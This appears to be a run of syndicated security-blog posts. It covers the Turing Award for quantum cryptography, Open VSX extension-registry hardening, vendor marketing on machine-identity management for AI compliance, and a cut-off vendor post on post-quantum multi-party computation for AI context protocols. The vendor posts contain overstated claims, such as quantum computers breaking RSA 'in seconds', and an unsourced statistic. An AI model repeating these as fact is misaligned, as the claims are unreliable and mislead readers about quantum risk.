but a conventional mathematical algorithm takes over for the actual encryption.</p> </blockquote><p>What about quantum computation? I’m <a href="https://www.schneier.com/essays/archives/2018/09/cryptography_after_t.html">not worried</a>; the math is ahead of the physics. Reports of progress in that area are <a href="https://eprint.iacr.org/2025/1237">overblown</a>. And if there’s a security crisis because of a quantum computation breakthrough, it’s because our systems aren’t crypto-agile.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/inventors-of-quantum-cryptography-win-turing-award/" data-a2a-title="Inventors of Quantum Cryptography Win Turing Award"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Finventors-of-quantum-cryptography-win-turing-award%2F&amp;linkname=Inventors%20of%20Quantum%20Cryptography%20Win%20Turing%20Award" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Finventors-of-quantum-cryptography-win-turing-award%2F&amp;linkname=Inventors%20of%20Quantum%20Cryptography%20Win%20Turing%20Award" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Finventors-of-quantum-cryptography-win-turing-award%2F&amp;linkname=Inventors%20of%20Quantum%20Cryptography%20Win%20Turing%20Award" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Finventors-of-quantum-cryptography-win-turing-award%2F&amp;linkname=Inventors%20of%20Quantum%20Cryptography%20Win%20Turing%20Award" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Finventors-of-quantum-cryptography-win-turing-award%2F&amp;linkname=Inventors%20of%20Quantum%20Cryptography%20Win%20Turing%20Award" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.schneier.com/">Schneier on Security</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Bruce Schneier">Bruce Schneier</a>. Read the original post at: <a href="https://www.schneier.com/blog/archives/2026/03/inventors-of-quantum-cryptography-win-turing-award.html">https://www.schneier.com/blog/archives/2026/03/inventors-of-quantum-cryptography-win-turing-award.html</a> </p>

True crime content has exploded across platforms like YouTube and TikTok, becoming a dominating force in digital entertainment with videos, podcasts, posts, and more. As of 2024, a full 84% of the U.… [+7098 chars]

There’s a new government app on the blockand like many things in the Trump administration, it’s mildly  concerning and really weird. After a long week of promotion that sparked speculation about eve… [+3485 chars]

<p>Security work is often most visible when something goes wrong: a compromised package, a leaked credential, a typosquatted extension, an abused automation token. In those moments, it becomes clear that software infrastructure is not abstract. It is operational, exposed, and trusted far more often than it is inspected.</p><p>Open VSX belongs to that category of infrastructure. Open VSX is an open source, vendor-neutral extension registry for tools built on the VS Code™ extension API. It powers a rapidly expanding ecosystem of AI-native IDEs, cloud development environments, and VS Code-compatible platforms, including Amazon’s Kiro, Google’s Antigravity, Cursor, IBM’s Project Bob, VSCodium, Windsurf, Ona (Gitpod), and others.</p><p>It is easy to think of an extension registry as a convenience layer around development tools. In reality, it sits much closer to the heart of the software supply chain. Extensions influence how developers write, test, and review code, and increasingly how they interact with AI-assisted workflows in modern development environments. They operate in proximity to source repositories, terminals, secrets, build systems, CI/CD pipelines, and cloud-connected services. From a security point of view, that proximity is decisive.</p><p>This is why the Eclipse Foundation has been investing in Open VSX security in a more structured and deliberate way. That includes working with members and partners such as AWS, Google, Cursor, and the Alpha Omega open source cybersecurity project, to strengthen the platform as usage continues to grow.</p><p>The objective is not to create theatrical security or burden publishers with ineffective controls. It is to reduce meaningful risk at the points where it enters the system. That means looking not only at what is published, but also at how it is published, how the platform itself is built and operated, and how quickly suspicious activity can be detected and contained.</p><p>That is the right way to think about shared developer infrastructure. One does not secure it by adding a single tool or a single policy, but by tightening the entire chain of trust.</p><p>A good place to start is the publication path itself.</p><p>For some time, extension ecosystems have depended heavily on post-publication reactions. A problematic extension is reported, investigated, and then removed or restricted. That model is understandable, but it is not sufficient once the ecosystem becomes large enough, and once the consequences of a malicious extension become more serious. In an environment where extensions may touch code, credentials, AI context, and developer workflows, waiting until after publication is not always an acceptable security posture.</p><p>So one of the most important changes we have introduced is a move toward pre-publication verification and scanning.</p><p>This matters because it changes the default assumption. Rather than treating publication as an open door followed by later review, we are adding controls before content is distributed. In practical terms, this includes similarity checks on extension names and namespaces, which help reduce typosquatting and impersonation. It includes secret scanning, so that extensions containing accidentally packaged credentials or tokens can be caught before they are made available. It also includes malware-oriented scanning, backed by tools and workflows that allow suspicious uploads to be quarantined and reviewed instead of immediately passing through the system.</p><p>This represents an important evolution in posture. It is not about assuming that publishers act in bad faith. Most do not. It is about recognizing that modern software supply chains are exposed to both malice and error. Security must account for both.</p><p>This is also why the supporting workflows matter as much as the scanners themselves. Detection without triage is noise. Control without review is fragility. We have therefore added the operational pieces needed to make these checks usable in practice: scanning workflows, administrative visibility, and support for asynchronous external scanners where deeper analysis cannot reasonably be performed in-line. That may sound procedural, but this is where many security programs succeed or fail. A control only improves security when it can be operated reliably.</p><p>The second area of work has been the integrity of the platform’s own build and release chain.</p><p>This receives less public attention, but it is foundational. If one is serious about supply chain security, one cannot focus only on the extension artifact and ignore the automation that produces, releases, and maintains the registry. Attackers are often patient in this regard. They do not always attack the front door. They look for the build script, the workflow token, the overly trusted dependency, and the release credential that lives longer than it should.</p><p>That is why we have hardened several parts of the Open VSX release process. Release automation now uses more trusted publishing patterns, reducing reliance on long-lived credentials. GitHub Actions and workflow dependencies have been pinned more carefully. Workflow token usage has been tightened. Continuous security assessment has been added at the repository level. In parallel, we have reduced exposure in the build chain itself, including disabling Yarn scripts by default in places where lifecycle-script execution introduces unnecessary risk.</p><p>This is not glamorous work. It does not produce a dramatic interface change. But in security, the most effective improvements are often invisible: they reduce risk without demanding constant attention from users. That is a sign of maturity rather than modesty.</p><p>A third part of the effort has focused on containment.</p><p>No responsible security program assumes prevention is absolute. Credentials are still lost. Tokens are still mishandled. New attack patterns still emerge. The relevant question is therefore not whether incidents are possible, but whether the system is designed to limit their consequences.</p><p>Here too, Open VSX has become stronger. We now have the administrative capability to revoke a user’s personal access token when compromise is suspected. Authentication flows and token refresh handling have been improved. We have also moved further toward short-lived infrastructure access patterns, which is simply a better security model than reliance on persistent static credentials.</p><p>Alongside this, we have made smaller but important hardening changes to the application itself: tighter validation of publish-time content size, removal of stack traces from error responses, removal of version details from HTTP headers, and backend corrections to ensure temporary extension files do not remain where they should not. None of these measures, taken alone, would define a security program. Taken together, they reflect something more important: discipline. And discipline is what turns security from aspiration into engineering practice.</p><p>For the operations side of the audience, there is another point worth emphasizing. A registry is not exposed only through what it stores. It is also exposed through how it is used and how it is abused.</p><p>This is why service protection and observability have also been part of the work. We replaced static rate limiting with a more dynamic model, which is a more realistic response to abusive traffic and changing usage patterns. We also improved visibility into .vsix download activity, including monitoring intended to make unusual spikes and anomalous behavior more visible.</p><p>That is not separate from security. It is part of it. In shared infrastructure, availability and security are tightly connected. A service that cannot remain stable under pressure becomes, very quickly, a security problem as well as an operational one.</p><p>Finally, we have started to improve transparency around what Open VSX itself ships. The SBOM work underway is important for a simple reason: one cannot manage dependency risk with confidence without a reliable inventory of components. SBOMs are not a remedy in themselves, but they make vulnerability response more disciplined and give both engineering and operations teams a clearer basis for triage and remediation.</p><p>When I step back and look at the work completed so far, this is not a series of isolated controls. It is a shift in the security model.</p><p>We are moving from a posture that depended too heavily on reaction to one that is more preventive, layered, and operationally grounded. This includes reducing the likelihood of unsafe content being published, strengthening the build and release chain, tightening credential handling, hardening the service itself, and improving the visibility needed to detect and respond to abuse with more precision.</p><p>That is the standard Open VSX should meet.</p><p>It is important infrastructure in a part of the ecosystem where trust is both necessary and often granted too easily. Our responsibility is to make that trust better deserved. The work already completed is a meaningful step in that direction, and it gives us a firmer foundation for the work that remains.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/security-at-scale-how-open-vsx-is-raising-the-bar/" data-a2a-title="Security at Scale: How Open VSX Is Raising the Bar"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fsecurity-at-scale-how-open-vsx-is-raising-the-bar%2F&amp;linkname=Security%20at%20Scale%3A%20How%20Open%20VSX%20Is%20Raising%20the%20Bar" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fsecurity-at-scale-how-open-vsx-is-raising-the-bar%2F&amp;linkname=Security%20at%20Scale%3A%20How%20Open%20VSX%20Is%20Raising%20the%20Bar" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fsecurity-at-scale-how-open-vsx-is-raising-the-bar%2F&amp;linkname=Security%20at%20Scale%3A%20How%20Open%20VSX%20Is%20Raising%20the%20Bar" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fsecurity-at-scale-how-open-vsx-is-raising-the-bar%2F&amp;linkname=Security%20at%20Scale%3A%20How%20Open%20VSX%20Is%20Raising%20the%20Bar" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fsecurity-at-scale-how-open-vsx-is-raising-the-bar%2F&amp;linkname=Security%20at%20Scale%3A%20How%20Open%20VSX%20Is%20Raising%20the%20Bar" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div>

<h2>How Does Non-Human Identity Management Enhance AI Compliance?</h2><p>When it comes to ensuring compliance in artificial intelligence systems, how do organizations manage the thousands of machine interactions that occur daily? This question is at the heart of discussions around AI compliance and underscores the importance of non-human identity (NHI) management. With the rise of AI and machine learning, non-human identities, consisting of machine credentials and their associated permissions, have become pivotal players in cybersecurity strategies. Their effective management ensures that businesses not only adhere to regulatory standards but also maintain robust security postures.</p><h3>The Role of Non-Human Identities in AI Compliance</h3><p>For organizations operating in sectors like financial services, healthcare, and travel, maintaining AI compliance is of utmost importance. Compliance isn’t merely about ticking boxes on regulatory checklists; it’s about ensuring that AI systems operate securely and ethically. As such, managing NHIs is critical, where these machine identities govern how AI systems interact with data and other digital assets.</p><p>NHIs, or machine identities, are akin to digital passports that allow machines to authenticate and communicate within networks. They are vital in where machines continuously exchange information. Securing these identities, along with their associated permissions, is integral to the effective functioning of compliant AI systems. Just as a person with a passport and visa can travel between countries, NHIs with the correct credentials can access necessary system resources.</p><p>The challenge lies in the disconnect between security and R&amp;D teams. This gap can lead to vulnerabilities in AI systems, compromising compliance. By adopting an integrated NHI management approach, organizations can bridge this gap, ensuring that AI systems remain both compliant and secure.</p><h3>Strategic Benefits of NHI Management</h3><p>The strategic management of NHIs offers multiple benefits for organizations aiming to ensure AI compliance:</p><ul> <li><strong>Reduced Risk:</strong> Proactively managing NHIs reduces the risk of unauthorized access and data breaches. Where data protection is paramount, mitigating such risks is crucial for maintaining AI compliance.</li> <li><strong>Improved Compliance:</strong> With regulatory bodies intensifying their scrutiny on AI systems, having a robust NHI management strategy is essential. It ensures organizations meet compliance requirements by maintaining audit trails and enforcing security policies.</li> <li><strong>Enhanced Visibility and Control:</strong> NHI management provides a centralized view of all machine interactions. This visibility aids in monitoring compliance efforts and helps in quickly addressing any anomalies.</li> <li><strong>Cost Savings:</strong> Automation of NHIs and secrets management reduces operational expenses and frees up security teams to focus on strategic initiatives.</li> </ul><h3>Challenges in Non-Human Identity Management</h3><p>The effective management of NHIs is not without its challenges. Organizations often grapple with the sheer volume and complexity of machine interactions. Each NHI must be meticulously managed, from its creation through its entire lifecycle, to ensure that AI compliance is not compromised.</p><p>Moreover, the increasing adoption of cloud environments further complicates NHI management. Machines often interact seamlessly across different cloud platforms, leading to a potential discrepancy in governance and security standards. Implementing a robust NHI management framework allows organizations to maintain consistency in their compliance efforts and secure cloud operations effectively.</p><p>According to a recent study, nearly 80% of enterprise IT leaders recognize the critical role of NHI management in maintaining compliance. This underscores the urgency for organizations to adopt comprehensive NHI management solutions that address all stages of the lifecycle—discovery, classification, threat detection, and remediation.</p><h3>Integrating NHI Management with AI Compliance Strategies</h3><p>Organizations must integrate NHI management into their broader AI compliance strategies for maximum efficacy. Such integration requires a concerted effort between security, R&amp;D, and compliance teams. By collaborating, these teams can ensure that AI systems operate within the desired compliance frameworks without sacrificing security or efficiency.</p><p>Implementing context-aware security measures is one such strategy. This approach leverages NHI management platforms to provide insights into ownership, permissions, and usage patterns. This intelligence allows organizations to detect potential vulnerabilities and mitigate them before they escalate into full-blown security incidents.</p><p>Moreover, While regulatory continues to evolve, staying abreast of compliance requirements is crucial. For instance, the <a href="https://ec.europa.eu/info/funding-tenders/opportunities/portal/screen/opportunities/topic-details/digital-2024-ai-act-06-innov" rel="noopener">AI Act by the European Commission</a> sets forth stringent guidelines that organizations must adhere to. By integrating NHI management with AI compliance strategies, businesses are better positioned to navigate such regulatory changes seamlessly.</p><p>In conclusion, while the journey to AI compliance is fraught with challenges, effective NHI management offers a reliable pathway. By focusing on securing machine identities and their associated permissions, organizations can ensure that their AI systems remain compliant, secure, and resilient in evolving regulatory demands. The strategic management of NHIs is not just a security imperative but a business necessity.</p><h3>Navigating the Complexity of Non-Human Identity Management</h3><p>How can organizations effectively manage the increasing complexity associated with non-human identities? The answer lies in understanding the nuances of NHI management and its critical role in AI compliance. Machine identities, much like their human counterparts, require careful oversight to ensure that they operate within prescribed parameters, upholding the stringent demands of AI compliance frameworks and safeguarding sensitive digital resources.</p><p>Organizations are witnessing a dramatic rise in machine-to-machine interactions, driven primarily by the ubiquity of artificial intelligence and cloud-based infrastructures. This surge signifies that robust strategies for managing NHIs are vital. Identifying the appropriate balance between ensuring security and maintaining operational efficiency is a perpetual challenge.</p><p>NHI management should not be perceived merely as a safeguard against unauthorized access or data breaches; it acts as a proactive measure to fortify endpoints and systems. This approach aligns with emerging regulatory standards that scrutinize AI systems more vigorously than ever. For example, the <a href="https://ai-act-service-desk.ec.europa.eu/en/ai-act/article-75" rel="noopener">AI Act</a> elaborates on key compliance obligations that organizations must fulfill to ensure robust security postures.</p><h3>Best Practices in Managing Non-Human Identities</h3><p>When devising strategies for managing NHIs, the following best practices are instrumental in achieving a security equilibrium:</p><ul> <li><strong>Implement Role-Based Access:</strong> Assign roles and responsibilities clearly to machine identities. This limits access based on necessity, a strategy pivotal for reducing misuse.</li> <li><strong>Lifecycle Management:</strong> Enact a comprehensive lifecycle management process from initiation to decommissioning to ensure transparency and audit readiness.</li> <li><strong>Automation of Secrets and Expiry Management:</strong> Automate the rotation and expiration checks of secrets, where this reduces human error and increases efficiency.</li> <li><strong>Regular Audits and Threat Assessments:</strong> Conduct routine audits and threat assessments to identify vulnerabilities and refine security measures.</li> <li><strong>Enhanced Collaborations:</strong> Foster collaboration among security, R&amp;D, and compliance teams to ensure cohesive security strategies across the organization.</li> </ul><p>Incorporating these best practices can aid organizations in maintaining a proactive and adaptive security posture. They will be well-prepared to handle the expanding array of threats associated with AI environments.</p><h3>Understanding Regulatory</h3><p>What implications do regulatory changes have on non-human identity security? Compliance with regulations is no longer a simple box-ticking exercise but a robust process that influences business integrity and reputation. Non-compliance carries significant risks, including hefty fines and reputational damage. Organizations must stay current with global regulations by integrating seamless NHI management strategies into their compliance frameworks.</p><p>For instance, tools and policies outlined as vital instruments to drive compliance. Enterprises should regularly review and tailor their compliance frameworks to keep pace with dynamic regulatory. These measures ensure continuity in adhering to compliance standards without compromising security integrity.</p><p>Moreover, organizations in sectors like healthcare and financial services often deal with sensitive data that requires heightened security measures and strict adherence to standards like ISO 27001. Exploring the link between NHI management and <a href="https://entro.security/blog/securing-nhis-and-iso-27001-compliance/">ISO 27001 compliance</a> can be advantageous.</p><h3>Why NHI Management is More Than a Technical Necessity</h3><p>What further strategic value does managing NHIs bring beyond technical considerations? Beyond securing systems, efficient NHI management plays a vital role in enhancing business intelligence, decision-making, and resource allocation. Automation in secrets management frees up security teams to focus on innovation and improving operational strategies, providing a significant competitive advantage in fast-paced industries.</p><p>Additionally, organizations that leverage comprehensive NHI management frameworks are better equipped for long-term digital transformation, adapting seamlessly to evolving technologies and methodologies. When organizations effectively manage machine identities, they unlock potential operational efficiencies and minimize resource wastage, channeling those efficiencies towards strategic goals such as AI development and cloud innovations.</p><p>Furthermore, by embedding NHIs more integrally into AI compliance strategies, companies are empowered to make informed decisions driven by accurate data insights. These insights form the backbone of future-proof and innovative strategies that not only protect existing assets but will also play a significant role in expanding the organization’s digital presence.</p><p>Managing non-human identities isn’t just about security—it’s about digitally transforming and future-proofing business operations. It exemplifies how strategic foresight can be an invaluable asset. Organizations prioritizing NHIs demonstrate leadership by paving new pathways through the security challenges of an AI-centric future.</p><p>By understanding the dynamic nature of NHIs and their potential impacts, businesses can align their strategic goals with compliance, efficiency, and security—solidifying their role as leaders in their respective industries. Whether for regulatory compliance, technological innovation, or resource optimization, the management of NHIs is indeed a catalyst.</p><p>The post <a href="https://entro.security/how-can-you-be-certain-your-ai-is-compliant/">How can you be certain your AI is compliant?</a> appeared first on <a href="https://entro.security/">Entro</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/how-can-you-be-certain-your-ai-is-compliant/" data-a2a-title="How can you be certain your AI is compliant?"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fhow-can-you-be-certain-your-ai-is-compliant%2F&amp;linkname=How%20can%20you%20be%20certain%20your%20AI%20is%20compliant%3F" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fhow-can-you-be-certain-your-ai-is-compliant%2F&amp;linkname=How%20can%20you%20be%20certain%20your%20AI%20is%20compliant%3F" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fhow-can-you-be-certain-your-ai-is-compliant%2F&amp;linkname=How%20can%20you%20be%20certain%20your%20AI%20is%20compliant%3F" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fhow-can-you-be-certain-your-ai-is-compliant%2F&amp;linkname=How%20can%20you%20be%20certain%20your%20AI%20is%20compliant%3F" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fhow-can-you-be-certain-your-ai-is-compliant%2F&amp;linkname=How%20can%20you%20be%20certain%20your%20AI%20is%20compliant%3F" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://entro.security/">Entro</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Alison Mack">Alison Mack</a>. Read the original post at: <a href="https://entro.security/how-can-you-be-certain-your-ai-is-compliant/">https://entro.security/how-can-you-be-certain-your-ai-is-compliant/</a> </p>

<h2>Introduction to the Quantum Threat in AI Contexts</h2><p>Ever feel like we’re just building bigger locks while the burglars are busy inventing a way to walk through walls? That’s basically where we’re at with ai and the looming "quantum apocalypse."</p><p>Right now, most of us rely on standard encryption like RSA or ECC to keep our Model Context Protocol (mcp) data safe. The mcp is basically an open standard that lets ai models talk to different data sources and tools without a mess of custom code. It works great—until it doesn't. The problem is that quantum computers are getting scary good at running things like Shor’s algorithm, which can basically tear through traditional asymmetric encryption in seconds.</p><p>And it’s not just a "future" problem. There’s this nasty habit hackers have called "harvest now, decrypt later." They’re grabbing sensitive pii and proprietary logic from ai contexts today, just waiting for the day a quantum machine can crack it open. If you're in healthcare or finance, that data needs to stay secret for decades, not just until the next hardware breakthrough.</p><p>So, how do we fix this? We move beyond just basic ssl and look at <strong>Secure Multi-Party Computation (mpc)</strong>. Think of mpc as a way for different parties to jointly compute something without ever seeing each other’s private data. To make this work in a post-quantum world, we use <strong>Gopher Security</strong>, which is a specialized security framework designed to manage and orchestrate these complex mpc workflows across distributed nodes.</p><p>When we make mpc "post-quantum compliant," we’re swapping out old math for "quantum-hard" primitives. According to <a href="https://sands.edpsciences.org/articles/sands/full_html/2022/01/sands20210001/sands20210001.html">Feng and Yang (2022)</a>, these protocols leverage advanced lattice-based math like <strong>Learning With Errors (LWE)</strong>. These LWE-based schemes are actually the foundation for NIST-selected standards like <strong>ML-KEM (formerly Kyber)</strong>, which gives them a lot of technical authority.</p><ul> <li><strong>Distributed Privacy:</strong> Your ai context is split into "shares." No single server ever has the full picture, so even if one gets popped, the data stays gibberish.</li> <li><strong>Quantum-Hard Primitives:</strong> Unlike RSA, which a quantum computer can solve, LWE is like trying to find a needle in a haystack where the haystack is also a maze.</li> <li><strong>Lattice-Based Security:</strong> This is the current gold standard for keeping things "future-proof."</li> </ul><p><img decoding="async" src="https://cdn.pseo.one/685d00d4cb08ab5f5934b924/690c83ae1ca595b8c6f91e0f/pq-compliant-secure-multi-party-computation-model-contexts/mermaid-diagram-1.svg" alt="Diagram 1"></p><p>Honestly, it’s a bit of a headache to set up, but seeing how fast things are moving, it's better than the alternative. Anyway, let’s dig into how this actually looks when you're trying to manage context windows without leaking your company secrets.</p><h2>The Mechanics of Post-Quantum MPC for Model Contexts</h2><p>Ever wonder why we're so obsessed with "lattice-based" math lately? It’s because it’s one of the few things that keeps a quantum computer from peeking at our secrets like they’re written on a glass window.</p><p>When we talk about making the mcp safe for the next decade, we aren't just adding a longer password. We are fundamentally changing how data is "shared" and "moved" between ai nodes. It’s about moving away from the old way of doing things—where one mistake kills the whole system—to a setup where the math itself is a labyrinth that even a quantum machine can't solve easily.</p><p>In the old days (like, three years ago), we mostly talked about Shamir’s Secret Sharing. It’s elegant, sure, but it’s not exactly built for a world with Shor’s algorithm lurking around. For post-quantum mpc, we're shifting toward lattice-based alternatives. </p><p>The big shift here is moving toward <strong>Learning With Errors (LWE)</strong>. Instead of just splitting a secret into pieces, we're adding "noise" to the math. This noise is what makes it "quantum-hard." If you're running ai in a high-stakes field like healthcare, you can't afford a single point of failure when processing patient records across different research nodes.</p><ul> <li><strong>Ditching Shamir:</strong> Traditional threshold schemes are great, but they don't always play nice with the "noise" required for quantum resistance. Lattice-based schemes handle this by design.</li> <li><strong>The Noise Problem:</strong> In LWE, you’re basically solving a system of linear equations where everything is slightly "off." For an ai node, this means managing the "noise budget" so the final result is still accurate after all the computation.</li> <li><strong>Threshold LSSS:</strong> Using a Threshold Linear Secret Sharing Scheme (LSSS) in a pq environment involves a trade-off. You get better security, but the "Expand" algorithms (the part that turns a few shares back into the full picture) get way more computationally heavy.</li> </ul><p>If secret sharing is the floor plan, <strong>Oblivious Transfer (ot)</strong> is the glue. It's the mechanism that lets two nodes exchange info without node A knowing which piece of info node B actually took. In an ai context window, this is how we handle "non-linear gates"—the messy parts of the math like ReLU functions that make ai actually work.</p><p>In a post-quantum setup, we can't use the old Diffie-Hellman based ot. We have to build it from things like <strong>CSIDH</strong> (isogeny-based) or, more commonly, <strong>LWE</strong>. While CSIDH is an option, it's generally way slower and more computationally intensive than LWE, which is why most people stick to LWE for anything that needs to run fast. To keep things honest, we also use <strong>Information-Theoretic Message Authentication Codes (IT-MACs)</strong>. These are basically mathematical "seals" that prove a piece of data hasn't been tampered with, even by an attacker with infinite computing power.</p><p><img decoding="async" src="https://cdn.pseo.one/685d00d4cb08ab5f5934b924/690c83ae1ca595b8c6f91e0f/pq-compliant-secure-multi-party-computation-model-contexts/mermaid-diagram-2.svg" alt="Diagram 2"></p><p>Honestly, the biggest headache isn't the security—it's the speed. Lattice-based math is "heavy." If you're a retail company trying to use mpc to analyze customer behavior across different regional databases without leaking pii, you can't have your api hanging for ten seconds.</p><p>To fix this, we use <strong>Pseudorandom Correlation Generators (PCG)</strong>. This allows us to do "ot extension." We run a tiny bit of expensive, quantum-safe math at the start (the "base ot"), and then we use that to "stretch" out millions of cheaper ot correlations. </p><blockquote> <p>A 2022 study by Feng and Yang highlighted that while these protocols used to be purely theoretical, recent breakthroughs have made them "concretely efficient" for privacy-preserving machine learning.</p> </blockquote><p>Imagine a group of banks wanting to train a fraud detection model on their collective data without actually sharing the data (because, you know, laws). They use this lattice-based mpc to split their "model contexts" into shares. </p><p>Each node does a bit of the math, uses ot to handle the complex parts of the neural network, and only the final "fraud/not fraud" result is ever visible. Even if a hacker with a future-gen quantum computer gets into one bank’s node, all they see is noisy, meaningless shares.</p><h2>Protecting MCP Deployments with Gopher Security</h2><p>Setting up a post-quantum mpc environment can feel like trying to build a spaceship in your garage—it’s cool, but one loose bolt and the whole thing blows up. Honestly, most security teams I talk to are terrified of the complexity involved in migrating their mcp setups to anything "quantum-resistant."</p><p>That’s where gopher security comes in. As we defined earlier, Gopher is the platform that manages the "who, what, and where" of your mpc nodes. I’ve seen teams spend months trying to manually patch lattice-based math into their workflows, only to have the whole system crawl to a halt. Gopher basically acts as the connective tissue that makes this stuff actually usable for humans.</p><ul> <li><strong>Native PQ P2P Connectivity:</strong> You don't have to worry about the "handshake" between mcp nodes. It uses built-in support for quantum-safe peer-to-peer connections, so your shares stay encrypted even if someone is sniffing the wire with a 2030-era processor.</li> <li><strong>Stopping "Puppet Attacks":</strong> This is a nasty one. An attacker tries to manipulate the input shares of one node to bias the ai's output. Gopher uses real-time threat detection to spot these anomalies before they ever touch your main model.</li> <li><strong>Schema-Driven Deployment:</strong> If you’re using openapi or swagger, you can deploy secure mcp servers almost instantly. It maps the security policies directly to your api definitions, which saves a massive amount of manual configuration time.</li> <li><strong>Granular Session Control:</strong> You can actually restrict sessions at the parameter level. So, if a node in your finance network only needs to see "transaction volume" but not "customer names," gopher enforces that policy right in the mpc session.</li> </ul><p>One of the biggest headaches in distributed ai is making sure nodes aren't lying to each other. In a typical retail setup, you might have different regional databases contributing to a global demand-forecast model. If one node starts feeding garbage data—intentionally or not—the whole forecast is ruined.</p><p><img decoding="async" src="https://cdn.pseo.one/685d00d4cb08ab5f5934b924/690c83ae1ca595b8c6f91e0f/pq-compliant-secure-multi-party-computation-model-contexts/mermaid-diagram-3.svg" alt="Diagram 3"></p><p>As <a href="https://cacm.acm.org/research/secure-multiparty-computation/">Yehuda Lindell</a> points out in his 2021 review, mpc has finally moved from "math homework" to "industry technology." But let's be real—without a platform like gopher to manage the policies, you're just one misconfigured api call away from a data leak.</p><p>I remember working with a group that tried to build their own access control for mpc. It was a disaster—they ended up blocking their own legitimate traffic half the time. Gopher's policy engine lets you write rules in plain language, like "Only allow Node A to compute if Node B provides a valid lattice-signature." </p><p>It’s about making the security "invisible" to the developers so they can focus on the actual ai logic. Anyway, the math and the infrastructure are only half the battle. You also have to make sure no one is cheating the system from the inside.</p><h2>Implementing PQ-MPC in Distributed AI Inference</h2><p>Ever wonder why some ai security setups feel like they’re running through molasses while others zip along? It usually comes down to how they handle the "logic" of the model—basically the math that makes the ai smart—without letting any single node see the whole secret.</p><p>When we're building these distributed inference systems for things like scanning medical x-rays or predicting stock trends, we have to choose a "flavor" of math. It usually boils down to a fight between <strong>garbled circuits (gc)</strong> and <strong>secret sharing</strong>. Honestly, if you pick the wrong one for your network, you’re gonna have a bad time. </p><p>In a pq-ready environment, we aren't just worried about privacy; we’re worried about speed and "malicious security"—basically making sure no one is lying about their results. For the model weights (the "brain" of the ai), we have two main paths.</p><ul> <li><strong>BMR Distributed Garbling:</strong> This is like creating an encrypted map of the ai's logic. All the parties join in to build one big garbled circuit. It's great because it only takes a few "rounds" of talking back and forth, but the files it creates are huge. If you’re a retail giant trying to sync databases over a shaky internet connection between continents, gc is usually your best bet because it doesn't care about lag (latency).</li> <li><strong>GMW-style Secret Sharing:</strong> This is the "chatty" option. Instead of a big encrypted map, you split every single math operation into "shares." It’s much lighter on the data side, but the nodes have to talk to each other for every single layer of the neural network. </li> <li><strong>The IT-MAC safety net:</strong> To keep people from cheating, we use <strong>Information-Theoretic Message Authentication Codes (IT-MACs)</strong>. As we mentioned in the mechanics section, these add a "digital seal" to the shares. If a node tries to sneak in a fake number to bias a healthcare model's diagnosis, the 